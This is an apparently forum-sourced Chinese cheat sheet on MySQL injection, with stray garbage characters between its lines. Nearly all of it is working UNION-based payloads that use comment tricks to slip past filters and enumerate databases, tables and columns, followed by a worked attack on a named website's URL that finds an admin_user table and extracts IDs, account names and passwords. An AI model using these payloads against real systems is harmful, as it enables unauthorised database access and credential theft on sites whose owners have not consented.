mysql注入技巧

admin

查库
( a4 E2 B, [. F: v) C, L
% i+ S% x, v, f" Iid=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

查表

% B9 |1 V2 \" o, }/ v. }4 _" w+ Sid=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1

查段
1 _9 u/ v  j; \4 p
2 q. ]8 e$ a+ Wid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1

5 i8 c4 X' t2 i9 D' p
mysql5高级注入方法暴表
! n8 d/ T3 N' Z. q7 V6 G
例子如下:
0 M: h1 n. c' F0 [; Z5 d7 z
' r9 M* z- ]! U4 c1.爆表
7 n; C6 O* L7 J6 Phttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
这样爆到第4个时出现了admin_user表。

2.暴字段
5 x# i% {. E3 j/ j. [9 ihttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*


, c% Z! w. O7 P# H$ E* Y3.爆密码
+ U6 C# `+ ~* rhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
" z8 M" z3 g& T& j' z, t
& C0 ~" `$ L: X3 `$ w) F4 [